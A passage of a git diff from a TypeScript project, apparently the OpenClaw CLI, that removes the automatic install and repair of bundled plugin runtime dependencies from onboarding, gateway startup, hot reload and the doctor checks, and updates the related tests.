expect(cfg?.tools?.profile).toBe("coding"); expect(cfg?.gateway?.auth?.mode).toBe("token"); expect(cfg?.gateway?.auth?.token).toBe(token); - expect(preparePostConfigBundledRuntimeDepsMock).toHaveBeenCalledWith( - expect.objectContaining({ - config: expect.objectContaining({ - gateway: expect.objectContaining({ mode: "local" }), - }), - runtime, - }), - ); }); }, 60_000); @@ -500,7 +486,6 @@ describe("onboard (non-interactive): gateway and remote auth", () => { ); expect(readTestConfig().agents?.defaults?.workspace).toBe(workspace); expect(ensureWorkspaceAndSessionsMock).not.toHaveBeenCalled(); - expect(preparePostConfigBundledRuntimeDepsMock).not.toHaveBeenCalled(); expect(healthCommandMock).not.toHaveBeenCalled(); }); }, 60_000); @@ -528,7 +513,6 @@ describe("onboard (non-interactive): gateway and remote auth", () => { expect(cfg.gateway?.mode).toBe("remote"); expect(cfg.gateway?.remote?.url).toBe(`ws://127.0.0.1:${port}`); expect(cfg.gateway?.remote?.token).toBe(token); - expect(preparePostConfigBundledRuntimeDepsMock).not.toHaveBeenCalled(); }); }, 60_000); diff --git a/src/commands/onboard-non-interactive/local.ts b/src/commands/onboard-non-interactive/local.ts index 2a53ad7b07e..9b1f787a7d9 100644 --- a/src/commands/onboard-non-interactive/local.ts +++ b/src/commands/onboard-non-interactive/local.ts @@ -15,7 +15,6 @@ import { waitForGatewayReachable, } from "../onboard-helpers.js"; import type { OnboardOptions } from "../onboard-types.js"; -import { preparePostConfigBundledRuntimeDeps } from "../post-config-runtime-deps.js"; import { applyNonInteractiveGatewayConfig } from "./local/gateway-config.js"; import { type GatewayHealthFailureDiagnostics, @@ -211,7 +210,6 @@ export async function runNonInteractiveLocalSetup(params: { writeOptions: { allowConfigSizeDrop: true }, }); logConfigUpdated(runtime); - await preparePostConfigBundledRuntimeDeps({ config: nextConfig, runtime }); await ensureWorkspaceAndSessions(workspaceDir, runtime, { skipBootstrap: Boolean(nextConfig.agents?.defaults?.skipBootstrap), diff --git a/src/commands/onboard-non-interactive/local/output.ts b/src/commands/onboard-non-interactive/local/output.ts index bd79110abe6..a31b96e4165 100644 --- a/src/commands/onboard-non-interactive/local/output.ts +++ b/src/commands/onboard-non-interactive/local/output.ts @@ -22,7 +22,7 @@ export type GatewayHealthFailureClassification = | "service-missing" | "service-stopped" | "startup-blocked" - | "runtime-deps-broken"; + | "module-missing"; export function logNonInteractiveOnboardingJson(params: { opts: OnboardOptions; @@ -107,7 +107,7 @@ function classifyGatewayHealthFailure(params: { combined, ) ) { - return "runtime-deps-broken"; + return "module-missing"; } if (params.diagnostics?.service?.loaded === false && hasConnectionRefusedDetail(detail)) { return "service-missing"; @@ -136,7 +136,7 @@ function recoveryHintForGatewayHealthFailure( switch (classification) { case "auth-mismatch": return "Fix: run `openclaw doctor --fix`."; - case "runtime-deps-broken": + case "module-missing": return "Fix: run `openclaw doctor --fix`."; case "service-missing": return "Fix: run `openclaw gateway install --force`."; diff --git a/src/commands/post-config-runtime-deps.test.ts b/src/commands/post-config-runtime-deps.test.ts deleted file mode 100644 index dcaa4919827..00000000000 --- a/src/commands/post-config-runtime-deps.test.ts +++ /dev/null @@ -1,166 +0,0 @@ -import { beforeEach, describe, expect, it, vi } from "vitest"; -import type { OpenClawConfig } from "../config/types.openclaw.js"; -import type { RuntimeEnv } from "../runtime.js"; - -const mocks = vi.hoisted(() => ({ - resolveOpenClawPackageRootSync: vi.fn<() => string | null>(() => "/pkg"), - createBundledRuntimeDepsPackagePlan: vi.fn(), - repairBundledRuntimeDepsPackagePlanAsync: vi.fn(), -})); - -vi.mock("../infra/openclaw-root.js", () => ({ - resolveOpenClawPackageRootSync: mocks.resolveOpenClawPackageRootSync, -})); - -vi.mock("../plugins/bundled-runtime-deps.js", () => ({ - createBundledRuntimeDepsPackagePlan: mocks.createBundledRuntimeDepsPackagePlan, - repairBundledRuntimeDepsPackagePlanAsync: mocks.repairBundledRuntimeDepsPackagePlanAsync, -})); - -import { preparePostConfigBundledRuntimeDeps } from "./post-config-runtime-deps.js"; - -function createRuntime(): RuntimeEnv { - return { - log: vi.fn(), - error: vi.fn(), - exit: vi.fn(), - }; -} - -function createPlan(overrides: Record = {}) { - return { - conflicts: [], - missing: [], - installSpecs: [], - ...overrides, - }; -} - -describe("preparePostConfigBundledRuntimeDeps", () => { - beforeEach(() => { - vi.clearAllMocks(); - mocks.resolveOpenClawPackageRootSync.mockReturnValue("/pkg"); - mocks.createBundledRuntimeDepsPackagePlan.mockReturnValue(createPlan()); - mocks.repairBundledRuntimeDepsPackagePlanAsync.mockResolvedValue({ - repairedSpecs: [], - }); - }); - - it("skips remote gateway configs", async () => { - await preparePostConfigBundledRuntimeDeps({ - config: { gateway: { mode: "remote" } } as OpenClawConfig, - runtime: createRuntime(), - }); - - expect(mocks.resolveOpenClawPackageRootSync).not.toHaveBeenCalled(); - expect(mocks.createBundledRuntimeDepsPackagePlan).not.toHaveBeenCalled(); - }); - - it("skips when no package root is available", async () => { - mocks.resolveOpenClawPackageRootSync.mockReturnValueOnce(null); - - await preparePostConfigBundledRuntimeDeps({ - config: { gateway: { mode: "local" } } as OpenClawConfig, - runtime: createRuntime(), - }); - - expect(mocks.createBundledRuntimeDepsPackagePlan).not.toHaveBeenCalled(); - }); - - it("repairs missing bundled deps selected by local config", async () => { - const env = { OPENCLAW_STATE_DIR: "/state" } as NodeJS.ProcessEnv; - const config = { - gateway: { mode: "local" }, - channels: { telegram: { enabled: true } }, - } as unknown as OpenClawConfig; - mocks.createBundledRuntimeDepsPackagePlan.mockReturnValueOnce( - createPlan({ - missing: [{ name: "grammy", version: "1.0.0", pluginIds: ["telegram"] }], - installSpecs: ["grammy@1.0.0"], - }), - ); - mocks.repairBundledRuntimeDepsPackagePlanAsync.mockResolvedValueOnce({ - repairedSpecs: ["grammy@1.0.0"], - }); - const runtime = createRuntime(); - - await preparePostConfigBundledRuntimeDeps({ - config, - runtime, - env, - packageRoot: "/pkg", - }); - - expect(mocks.createBundledRuntimeDepsPackagePlan).toHaveBeenCalledWith({ - packageRoot: "/pkg", - config, - includeConfiguredChannels: true, - includeEnabledByDefaultPlugins: false, - env, - }); - expect(mocks.repairBundledRuntimeDepsPackagePlanAsync).toHaveBeenCalledWith( - expect.objectContaining({ - packageRoot: "/pkg", - config, - includeConfiguredChannels: true, - includeEnabledByDefaultPlugins: false, - env, - }), - ); - expect(runtime.log).toHaveBeenCalledWith(expect.stringContaining("grammy@1.0.0")); - }); - - it("fails fast on conflicting bundled dependency versions", async () => { - const runtime = createRuntime(); - mocks.createBundledRuntimeDepsPackagePlan.mockReturnValueOnce( - createPlan({ - conflicts: [ - { - name: "demo", - versions: ["1.0.0", "2.0.0"], - pluginIdsByVersion: new Map([ - ["1.0.0", ["one"]], - ["2.0.0", ["two"]], - ]), - }, - ], - }), - ); - - await expect( - preparePostConfigBundledRuntimeDeps({ - config: { gateway: { mode: "local" } } as OpenClawConfig, - runtime, - packageRoot: "/pkg", - }), - ).rejects.toThrow("conflicting versions"); - - expect(mocks.repairBundledRuntimeDepsPackagePlanAsync).not.toHaveBeenCalled(); - expect(runtime.error).toHaveBeenCalledWith(expect.stringContaining("openclaw doctor --fix")); - }); - - it("keeps the repair error attached to the post-config failure", async () => { - const runtime = createRuntime(); - const failure = new Error("disk full"); - mocks.createBundledRuntimeDepsPackagePlan.mockReturnValueOnce( - createPlan({ - missing: [{ name: "dotenv", version: "1.0.0", pluginIds: ["provider"] }], - installSpecs: ["dotenv@1.0.0"], - }), - ); - mocks.repairBundledRuntimeDepsPackagePlanAsync.mockRejectedValueOnce(failure); - - await expect( - preparePostConfigBundledRuntimeDeps({ - config: { gateway: { mode: "local" } } as OpenClawConfig, - runtime, - packageRoot: "/pkg", - }), - ).rejects.toThrow("disk full"); - - expect(runtime.error).toHaveBeenCalledWith( - expect.stringContaining("Failed to install bundled plugin runtime deps after config update"), - ); - expect(runtime.error).toHaveBeenCalledWith(expect.stringContaining("disk full")); - }); -}); diff --git a/src/commands/post-config-runtime-deps.ts b/src/commands/post-config-runtime-deps.ts deleted file mode 100644 index 9cfe0980cdc..00000000000 --- a/src/commands/post-config-runtime-deps.ts +++ /dev/null @@ -1,135 +0,0 @@ -import { formatCliCommand } from "../cli/command-format.js"; -import type { OpenClawConfig } from "../config/types.openclaw.js"; -import { formatErrorMessage } from "../infra/errors.js"; -import { resolveOpenClawPackageRootSync } from "../infra/openclaw-root.js"; -import type { BundledRuntimeDepsInstallParams } from "../plugins/bundled-runtime-deps-install.js"; -import { - createBundledRuntimeDepsPackagePlan, - repairBundledRuntimeDepsPackagePlanAsync, -} from "../plugins/bundled-runtime-deps.js"; -import type { RuntimeEnv } from "../runtime.js"; - -const POST_CONFIG_RUNTIME_DEPS_INSTALL_HEARTBEAT_MS = 15_000; - -function formatElapsedMs(elapsedMs: number): string { - if (elapsedMs < 1000) { - return `${elapsedMs}ms`; - } - const seconds = Math.round(elapsedMs / 1000); - if (seconds < 60) { - return `${seconds}s`; - } - const minutes = Math.floor(seconds / 60); - const remainingSeconds = seconds % 60; - return remainingSeconds > 0 ? `${minutes}m ${remainingSeconds}s` : `${minutes}m`; -} - -function formatConflictSummary( - conflicts: ReturnType["conflicts"], -): string { - return conflicts - .flatMap((conflict) => - [`${conflict.name}: ${conflict.versions.join(", ")}`].concat( - conflict.versions.flatMap((version) => { - const pluginIds = conflict.pluginIdsByVersion.get(version) ?? []; - return pluginIds.length > 0 ? [`${version}: ${pluginIds.join(", ")}`] : []; - }), - ), - ) - .join("; "); -} - -export async function preparePostConfigBundledRuntimeDeps(params: { - config: OpenClawConfig; - runtime: RuntimeEnv; - env?: NodeJS.ProcessEnv; - packageRoot?: string | null; - installDeps?: (params: BundledRuntimeDepsInstallParams) => void | Promise; -}): Promise { - if (params.config.gateway?.mode === "remote") { - return; - } - - const packageRoot = - params.packageRoot ?? - resolveOpenClawPackageRootSync({ - argv1: process.argv[1], - cwd: process.cwd(), - moduleUrl: import.meta.url, - }); - if (!packageRoot) { - return; - } - - const env = params.env ?? process.env; - const plan = createBundledRuntimeDepsPackagePlan({ - packageRoot, - config: params.config, - includeConfiguredChannels: true, - includeEnabledByDefaultPlugins: false, - env, - }); - if (plan.conflicts.length > 0) { - const detail = formatConflictSummary(plan.conflicts); - const message = [ - "Bundled plugin runtime deps use conflicting versions after config update.", - detail, - `Fix: run ${formatCliCommand("openclaw doctor --fix")} after updating bundled plugins.`, - ] - .filter(Boolean) - .join(" "); - params.runtime.error(message); - throw new Error(message); - } - - if (plan.missing.length === 0) { - return; - } - - let heartbeat: NodeJS.Timeout | undefined; - const startedAt = Date.now(); - try { - params.runtime.log( - `Installing bundled plugin runtime deps (${plan.installSpecs.length} specs): ${plan.installSpecs.join(", ")}`, - ); - heartbeat = setInterval(() => { - params.runtime.log( - `Still installing bundled plugin runtime deps after ${formatElapsedMs(Date.now() - startedAt)}...`, - ); - }, POST_CONFIG_RUNTIME_DEPS_INSTALL_HEARTBEAT_MS); - heartbeat.unref?.(); - - const result = await repairBundledRuntimeDepsPackagePlanAsync({ - packageRoot, - config: params.config, - includeConfiguredChannels: true, - includeEnabledByDefaultPlugins: false, - env, - ...(params.installDeps - ? { - installDeps: async (installParams: BundledRuntimeDepsInstallParams) => { - await params.installDeps?.(installParams); - }, - } - : {}), - warn: (message) => params.runtime.log(message), - onProgress: (message) => params.runtime.log(message), - }); - if (result.repairedSpecs.length > 0) { - params.runtime.log( - `Installed bundled plugin runtime deps in ${formatElapsedMs(Date.now() - startedAt)}: ${result.repairedSpecs.join(", ")}`, - ); - } - } catch (error) { - const message = [ - `Failed to install bundled plugin runtime deps after config update: ${formatErrorMessage(error)}`, - `Fix: run ${formatCliCommand("openclaw doctor --fix")} or ${formatCliCommand("openclaw plugins deps --repair")}.`, - ].join(" "); - params.runtime.error(message); - throw error instanceof Error ? error : new Error(String(error)); - } finally { - if (heartbeat) { - clearInterval(heartbeat); - } - } -} diff --git a/src/config/doc-baseline.integration.test.ts b/src/config/doc-baseline.integration.test.ts index 19f058730a4..7bade183ea1 100644 --- a/src/config/doc-baseline.integration.test.ts +++ b/src/config/doc-baseline.integration.test.ts @@ -37,7 +37,7 @@ describe("config doc baseline integration", () => { expect(second.json.core).toBe(first.json.core); expect(second.json.channel).toBe(first.json.channel); expect(second.json.plugin).toBe(first.json.plugin); - }); + }, 240_000); it("includes core, channel, and plugin config metadata", async () => { const byPath = await getSharedByPath(); diff --git a/src/docker-setup.e2e.test.ts b/src/docker-setup.e2e.test.ts index ef3d54747be..1aed87007d5 100644 --- a/src/docker-setup.e2e.test.ts +++ b/src/docker-setup.e2e.test.ts @@ -615,14 +615,10 @@ describe("scripts/docker/setup.sh", () => { expect(compose.match(/TZ: \$\{OPENCLAW_TZ:-UTC\}/g)).toHaveLength(2); }); - it("keeps bundled plugin runtime deps on a Docker-managed volume", async () => { + it("does not create a Docker-managed bundled plugin runtime-deps volume", async () => { const compose = await readFile(join(repoRoot, "docker-compose.yml"), "utf8"); - expect( - compose.match(/OPENCLAW_PLUGIN_STAGE_DIR: \/var\/lib\/openclaw\/plugin-runtime-deps/g), - ).toHaveLength(2); - expect( - compose.match(/- openclaw-plugin-runtime-deps:\/var\/lib\/openclaw\/plugin-runtime-deps/g), - ).toHaveLength(2); - expect(compose).toContain("\nvolumes:\n openclaw-plugin-runtime-deps:\n"); + expect(compose).not.toContain("OPENCLAW_PLUGIN_STAGE_DIR"); + expect(compose).not.toContain("openclaw-plugin-runtime-deps"); + expect(compose).not.toContain("/var/lib/openclaw/plugin-runtime-deps"); }); }); diff --git a/src/dockerfile.test.ts b/src/dockerfile.test.ts index 3e900bc7bbf..d550f9dd45d 100644 --- a/src/dockerfile.test.ts +++ b/src/dockerfile.test.ts @@ -93,18 +93,13 @@ describe("Dockerfile", () => { const dockerfile = await readFile(dockerfilePath, "utf8"); const installIndex = dockerfile.indexOf("pnpm install --frozen-lockfile"); const postinstallIndex = dockerfile.indexOf("COPY scripts/postinstall-bundled-plugins.mjs"); - const runtimeDepsHelperIndex = dockerfile.indexOf( - "COPY scripts/lib/bundled-runtime-deps-install.mjs ./scripts/lib/bundled-runtime-deps-install.mjs", - ); const distImportHelperIndex = dockerfile.indexOf( "COPY scripts/lib/package-dist-imports.mjs ./scripts/lib/package-dist-imports.mjs", ); expect(postinstallIndex).toBeGreaterThan(-1); - expect(runtimeDepsHelperIndex).toBeGreaterThan(-1); expect(distImportHelperIndex).toBeGreaterThan(-1); expect(postinstallIndex).toBeLessThan(installIndex); - expect(runtimeDepsHelperIndex).toBeLessThan(installIndex); expect(distImportHelperIndex).toBeLessThan(installIndex); }); diff --git a/src/flows/doctor-health-contributions.test.ts b/src/flows/doctor-health-contributions.test.ts index b9d2bb8f1c6..b64c3a84b40 100644 --- a/src/flows/doctor-health-contributions.test.ts +++ b/src/flows/doctor-health-contributions.test.ts @@ -5,18 +5,6 @@ import { } from "./doctor-health-contributions.js"; describe("doctor health contributions", () => { - it("repairs bundled runtime deps before channel-owned doctor paths can import runtimes", () => { - const ids = resolveDoctorHealthContributions().map((entry) => entry.id); - - expect(ids.indexOf("doctor:bundled-plugin-runtime-deps")).toBeGreaterThan(-1); - expect(ids.indexOf("doctor:bundled-plugin-runtime-deps")).toBeLessThan( - ids.indexOf("doctor:auth-profiles"), - ); - expect(ids.indexOf("doctor:bundled-plugin-runtime-deps")).toBeLessThan( - ids.indexOf("doctor:startup-channel-maintenance"), - ); - }); - it("runs plugin registry repair before final config writes", () => { const ids = resolveDoctorHealthContributions().map((entry) => entry.id); diff --git a/src/flows/doctor-health-contributions.ts b/src/flows/doctor-health-contributions.ts index 8ffba8d6681..7f157dd6d23 100644 --- a/src/flows/doctor-health-contributions.ts +++ b/src/flows/doctor-health-contributions.ts @@ -268,17 +268,6 @@ async function runPluginRegistryHealth(ctx: DoctorHealthFlowContext): Promise { - const { maybeRepairBundledPluginRuntimeDeps } = - await import("../commands/doctor-bundled-plugin-runtime-deps.js"); - await maybeRepairBundledPluginRuntimeDeps({ - runtime: ctx.runtime, - prompter: ctx.prompter, - config: ctx.cfg, - includeConfiguredChannels: true, - }); -} - async function runStateIntegrityHealth(ctx: DoctorHealthFlowContext): Promise { const { noteStateIntegrity } = await import("../commands/doctor-state-integrity.js"); await noteStateIntegrity(ctx.cfg, ctx.prompter, ctx.configPath); @@ -578,11 +567,6 @@ export function resolveDoctorHealthContributions(): DoctorHealthContribution[] { label: "Gateway config", run: runGatewayConfigHealth, }), - createDoctorHealthContribution({ - id: "doctor:bundled-plugin-runtime-deps", - label: "Bundled plugin runtime deps", - run: runBundledPluginRuntimeDepsHealth, - }), createDoctorHealthContribution({ id: "doctor:auth-profiles", label: "Auth profiles", diff --git a/src/gateway/server-plugin-bootstrap.ts b/src/gateway/server-plugin-bootstrap.ts index 17eeaefdf41..b16136df213 100644 --- a/src/gateway/server-plugin-bootstrap.ts +++ b/src/gateway/server-plugin-bootstrap.ts @@ -1,7 +1,6 @@ import { primeConfiguredBindingRegistry } from "../channels/plugins/binding-registry.js"; import { applyPluginAutoEnable } from "../config/plugin-auto-enable.js"; import type { OpenClawConfig } from "../config/types.openclaw.js"; -import type { BundledRuntimeDepsInstallParams } from "../plugins/bundled-runtime-deps-install.js"; import type { PluginLookUpTable } from "../plugins/plugin-lookup-table.js"; import type { PluginRegistry } from "../plugins/registry.js"; import { pinActivePluginChannelRegistry } from "../plugins/runtime.js"; @@ -37,10 +36,7 @@ type GatewayPluginBootstrapParams = { pluginLookUpTable?: PluginLookUpTable; preferSetupRuntimeForChannelPlugins?: boolean; suppressPluginInfoLogs?: boolean; - installBundledRuntimeDeps?: boolean; logDiagnostics?: boolean; - bundledRuntimeDepsInstaller?: (params: BundledRuntimeDepsInstallParams) => void; - bundledRuntimeDepsRepairError?: unknown; beforePrimeRegistry?: (pluginRegistry: PluginRegistry) => void; }; @@ -106,9 +102,6 @@ export function prepareGatewayPluginLoad(params: GatewayPluginBootstrapParams) { pluginLookUpTable: params.pluginLookUpTable, preferSetupRuntimeForChannelPlugins: params.preferSetupRuntimeForChannelPlugins, suppressPluginInfoLogs: params.suppressPluginInfoLogs, - installBundledRuntimeDeps: params.installBundledRuntimeDeps, - bundledRuntimeDepsInstaller: params.bundledRuntimeDepsInstaller, - bundledRuntimeDepsRepairError: params.bundledRuntimeDepsRepairError, }); params.beforePrimeRegistry?.(loaded.pluginRegistry); primeConfiguredBindingRegistry({ cfg: resolvedConfig }); diff --git a/src/gateway/server-plugins.ts b/src/gateway/server-plugins.ts index a85f26cbf9e..a3d3e622bea 100644 --- a/src/gateway/server-plugins.ts +++ b/src/gateway/server-plugins.ts @@ -2,7 +2,6 @@ import { randomUUID } from "node:crypto"; import { normalizeModelRef, parseModelRef } from "../agents/model-selection.js"; import { applyPluginAutoEnable } from "../config/plugin-auto-enable.js"; import type { OpenClawConfig } from "../config/types.openclaw.js"; -import type { BundledRuntimeDepsInstallParams } from "../plugins/bundled-runtime-deps-install.js"; import { normalizePluginsConfig } from "../plugins/config-state.js"; import { loadOpenClawPlugins } from "../plugins/loader.js"; import { loadPluginLookUpTable, type PluginLookUpTable } from "../plugins/plugin-lookup-table.js"; @@ -531,9 +530,6 @@ export function loadGatewayPlugins(params: { pluginLookUpTable?: PluginLookUpTable; preferSetupRuntimeForChannelPlugins?: boolean; suppressPluginInfoLogs?: boolean; - installBundledRuntimeDeps?: boolean; - bundledRuntimeDepsInstaller?: (params: BundledRuntimeDepsInstallParams) => void; - bundledRuntimeDepsRepairError?: unknown; }) { const activationAutoEnabled = params.activationSourceConfig !== undefined @@ -605,9 +601,6 @@ export function loadGatewayPlugins(params: { allowGatewaySubagentBinding: true, }, preferSetupRuntimeForChannelPlugins: params.preferSetupRuntimeForChannelPlugins, - installBundledRuntimeDeps: params.installBundledRuntimeDeps, - bundledRuntimeDepsInstaller: params.bundledRuntimeDepsInstaller, - bundledRuntimeDepsRepairError: params.bundledRuntimeDepsRepairError, ...(params.pluginLookUpTable?.manifestRegistry ? { manifestRegistry: params.pluginLookUpTable.manifestRegistry } : {}), diff --git a/src/gateway/server-reload-handlers.ts b/src/gateway/server-reload-handlers.ts index 5d2053b6514..77d53ae1943 100644 --- a/src/gateway/server-reload-handlers.ts +++ b/src/gateway/server-reload-handlers.ts @@ -8,7 +8,6 @@ import { isRestartEnabled } from "../config/commands.flags.js"; import type { OpenClawConfig } from "../config/types.openclaw.js"; import { isTruthyEnvValue } from "../infra/env.js"; import type { HeartbeatRunner } from "../infra/heartbeat-runner.js"; -import { resolveOpenClawPackageRootSync } from "../infra/openclaw-root.js"; import { resetDirectoryCache } from "../infra/outbound/target-resolver.js"; import { deferGatewayRestartUntilIdle, @@ -16,8 +15,6 @@ import { resolveGatewayRestartDeferralTimeoutMs, setGatewaySigusr1RestartPolicy, } from "../infra/restart.js"; -import { pruneUnknownBundledRuntimeDepsRoots } from "../plugins/bundled-runtime-deps-roots.js"; -import { repairBundledRuntimeDepsPackagePlanAsync } from "../plugins/bundled-runtime-deps.js"; import { getTotalQueueSize } from "../process/command-queue.js"; import { activateSecretsRuntimeSnapshot, @@ -65,48 +62,6 @@ const MCP_RUNTIME_RELOAD_DISPOSE_TIMEOUT_MS = 5_000; const CHANNEL_RELOAD_DEFERRAL_POLL_MS = 500; const CHANNEL_RELOAD_STILL_PENDING_WARN_MS = 30_000; -async function planPluginRuntimeDepsForHotReload(params: { - nextConfig: OpenClawConfig; - logReload: GatewayReloadLog; -}): Promise { - const packageRoot = resolveOpenClawPackageRootSync({ - argv1: process.argv[1], - cwd: process.cwd(), - moduleUrl: import.meta.url, - }); - if (!packageRoot) { - return; - } - try { - pruneUnknownBundledRuntimeDepsRoots({ - env: process.env, - warn: params.logReload.warn, - }); - const startedAt = Date.now(); - const result = await repairBundledRuntimeDepsPackagePlanAsync({ - packageRoot, - config: params.nextConfig, - includeConfiguredChannels: true, - env: process.env, - warn: params.logReload.warn, - onProgress: params.logReload.info, - }); - if (result.repairedSpecs.length > 0) { - params.logReload.info( - `config hot reload prepared bundled runtime dependencies in ${Date.now() - startedAt}ms: ${result.repairedSpecs.join(", ")}`, - ); - } else if (result.reusedSpecs && result.reusedSpecs.length > 0) { - params.logReload.info( - `config hot reload reused bundled runtime dependencies in ${Date.now() - startedAt}ms: ${result.reusedSpecs.join(", ")}`, - ); - } - } catch (error) { - params.logReload.warn( - `config hot reload bundled runtime dependency planning failed; runtime load will verify without repair: ${String(error)}`, - ); - } -} - function abortActiveAgentRunsAfterConfigRecovery(params: { reason: string; logReload: GatewayReloadLog; @@ -305,13 +260,6 @@ export function createGatewayReloadHandlers(params: GatewayReloadHandlerParams) resetDirectoryCache(); - if (plan.planPluginRuntimeDeps) { - await planPluginRuntimeDepsForHotReload({ - nextConfig, - logReload: params.logReload, - }); - } - if (plan.restartCron) { state.cronState.cron.stop(); nextState.cronState = buildGatewayCronService({ diff --git a/src/gateway/server-startup-plugins.test.ts b/src/gateway/server-startup-plugins.test.ts index ffce1a250f7..9f044d4f58a 100644 --- a/src/gateway/server-startup-plugins.test.ts +++ b/src/gateway/server-startup-plugins.test.ts @@ -17,15 +17,6 @@ const loadGatewayStartupPlugins = vi.hoisted(() => gatewayMethods: ["ping"], })), ); -const prepareBundledPluginRuntimeLoadRoot = vi.hoisted(() => vi.fn((params: unknown) => params)); -const registerBundledRuntimeDependencyJitiAliases = vi.hoisted(() => vi.fn()); -const isSourceCheckoutRoot = vi.hoisted(() => vi.fn((_packageRoot: string) => false)); -const pruneUnknownBundledRuntimeDepsRoots = vi.hoisted(() => - vi.fn((_params: unknown) => ({ scanned: 0, removed: 0, skippedLocked: 0 })), -); -const repairBundledRuntimeDepsPackagePlanAsync = vi.hoisted(() => - vi.fn(async (_params: unknown) => ({ repairedSpecs: ["grammy@1.37.0"] })), -); const pluginManifestRegistry = vi.hoisted( (): PluginManifestRegistry => ({ plugins: [ @@ -133,27 +124,6 @@ vi.mock("../infra/openclaw-root.js", () => ({ resolveOpenClawPackageRootSync: (params: unknown) => resolveOpenClawPackageRootSync(params), })); -vi.mock("../plugins/bundled-runtime-deps.js", () => ({ - repairBundledRuntimeDepsPackagePlanAsync: (params: unknown) => - repairBundledRuntimeDepsPackagePlanAsync(params), -})); - -vi.mock("../plugins/bundled-runtime-deps-roots.js", () => ({ - isSourceCheckoutRoot: (packageRoot: string) => isSourceCheckoutRoot(packageRoot), - pruneUnknownBundledRuntimeDepsRoots: (params: unknown) => - pruneUnknownBundledRuntimeDepsRoots(params), -})); - -vi.mock("../plugins/bundled-runtime-deps-jiti-aliases.js", () => ({ - registerBundledRuntimeDependencyJitiAliases: (rootDir: string) => - registerBundledRuntimeDependencyJitiAliases(rootDir), -})); - -vi.mock("../plugins/bundled-runtime-root.js", () => ({ - prepareBundledPluginRuntimeLoadRoot: (params: unknown) => - prepareBundledPluginRuntimeLoadRoot(params), -})); - vi.mock("../plugins/plugin-lookup-table.js", () => ({ loadPluginLookUpTable: (params: unknown) => loadPluginLookUpTable(params), })); @@ -192,22 +162,11 @@ function createLog() { }; } -describe("prepareGatewayPluginBootstrap runtime-deps staging", () => { +describe("prepareGatewayPluginBootstrap startup plugins", () => { beforeEach(() => { applyPluginAutoEnable.mockClear(); initSubagentRegistry.mockClear(); loadGatewayStartupPlugins.mockClear(); - prepareBundledPluginRuntimeLoadRoot.mockReset().mockImplementation((params: unknown) => params); - registerBundledRuntimeDependencyJitiAliases.mockClear(); - isSourceCheckoutRoot.mockClear().mockReturnValue(false); - pruneUnknownBundledRuntimeDepsRoots.mockClear().mockReturnValue({ - scanned: 0, - removed: 0, - skippedLocked: 0, - }); - repairBundledRuntimeDepsPackagePlanAsync.mockReset().mockResolvedValue({ - repairedSpecs: ["grammy@1.37.0"], - }); loadPluginLookUpTable.mockClear().mockReturnValue({ manifestRegistry: pluginManifestRegistry, startup: { @@ -220,174 +179,6 @@ describe("prepareGatewayPluginBootstrap runtime-deps staging", () => { runChannelPluginStartupMaintenance.mockClear(); runStartupSessionMigration.mockClear(); }); - - it("loads startup plugins in verify-only mode after failed pre-start staging", async () => { - repairBundledRuntimeDepsPackagePlanAsync.mockRejectedValueOnce(new Error("offline registry")); - const log = createLog(); - const { prepareGatewayPluginBootstrap } = await import("./server-startup-plugins.js"); - - await expect( - prepareGatewayPluginBootstrap({ - cfgAtStart: {}, - startupRuntimeConfig: {}, - minimalTestGateway: false, - log, - }), - ).resolves.toMatchObject({ - baseGatewayMethods: ["ping"], - startupPluginIds: ["telegram"], - pluginLookUpTable: expect.objectContaining({ - manifestRegistry: pluginManifestRegistry, - }), - }); - - expect(loadGatewayStartupPlugins).toHaveBeenCalledOnce(); - expect(loadPluginLookUpTable).toHaveBeenCalledOnce(); - expect(loadGatewayStartupPlugins).toHaveBeenCalledWith( - expect.objectContaining({ - pluginLookUpTable: expect.objectContaining({ - manifestRegistry: pluginManifestRegistry, - }), - installBundledRuntimeDeps: false, - }), - ); - expect(repairBundledRuntimeDepsPackagePlanAsync).toHaveBeenCalledOnce(); - expect(prepareBundledPluginRuntimeLoadRoot).toHaveBeenCalledWith( - expect.objectContaining({ - pluginId: "telegram", - installMissingDeps: false, - previousRepairError: expect.any(Error), - }), - ); - expect(log.warn).toHaveBeenCalledWith( - expect.stringContaining("plugin load will verify without synchronous repair"), - ); - expect(loadGatewayStartupPlugins.mock.calls[0]?.[0]).not.toHaveProperty( - "bundledRuntimeDepsInstaller", - ); - expect(loadGatewayStartupPlugins).toHaveBeenCalledWith( - expect.objectContaining({ - bundledRuntimeDepsRepairError: expect.any(Error), - }), - ); - }); - - it("prepares the full startup plugin runtime set", async () => { - const log = createLog(); - const { prepareGatewayPluginBootstrap } = await import("./server-startup-plugins.js"); - - await prepareGatewayPluginBootstrap({ - cfgAtStart: {}, - startupRuntimeConfig: {}, - minimalTestGateway: false, - log, - }); - - expect(repairBundledRuntimeDepsPackagePlanAsync).toHaveBeenCalledWith( - expect.objectContaining({ - packageRoot: "/package", - exactPluginIds: ["telegram"], - }), - ); - expect(resolveOpenClawPackageRootSync).toHaveBeenCalledWith( - expect.objectContaining({ - moduleUrl: expect.stringContaining("server-startup-plugins"), - argv1: process.argv[1], - cwd: process.cwd(), - }), - ); - expect(prepareBundledPluginRuntimeLoadRoot).toHaveBeenCalledWith( - expect.objectContaining({ - pluginId: "telegram", - pluginRoot: "/package/dist/extensions/telegram", - modulePath: "/package/dist/extensions/telegram/index.js", - installMissingDeps: false, - memoizePreparedRoot: true, - }), - ); - expect(loadGatewayStartupPlugins).toHaveBeenCalledWith( - expect.objectContaining({ installBundledRuntimeDeps: false }), - ); - }); - - it("allows the loader to verify already staged deps during warm gateway starts", async () => { - repairBundledRuntimeDepsPackagePlanAsync.mockResolvedValueOnce({ - repairedSpecs: [], - }); - const log = createLog(); - const { prepareGatewayPluginBootstrap } = await import("./server-startup-plugins.js"); - - await prepareGatewayPluginBootstrap({ - cfgAtStart: {}, - startupRuntimeConfig: {}, - minimalTestGateway: false, - log, - }); - - expect(repairBundledRuntimeDepsPackagePlanAsync).toHaveBeenCalledWith( - expect.objectContaining({ - packageRoot: "/package", - exactPluginIds: ["telegram"], - }), - ); - expect(loadGatewayStartupPlugins).toHaveBeenCalledWith( - expect.objectContaining({ installBundledRuntimeDeps: false }), - ); - }); - - it("repairs source-checkout startup plugin deps before verify-only load", async () => { - repairBundledRuntimeDepsPackagePlanAsync.mockResolvedValueOnce({ - repairedSpecs: [], - }); - isSourceCheckoutRoot.mockReturnValueOnce(true); - const log = createLog(); - const { prepareGatewayPluginBootstrap } = await import("./server-startup-plugins.js"); - - await prepareGatewayPluginBootstrap({ - cfgAtStart: {}, - startupRuntimeConfig: {}, - minimalTestGateway: false, - 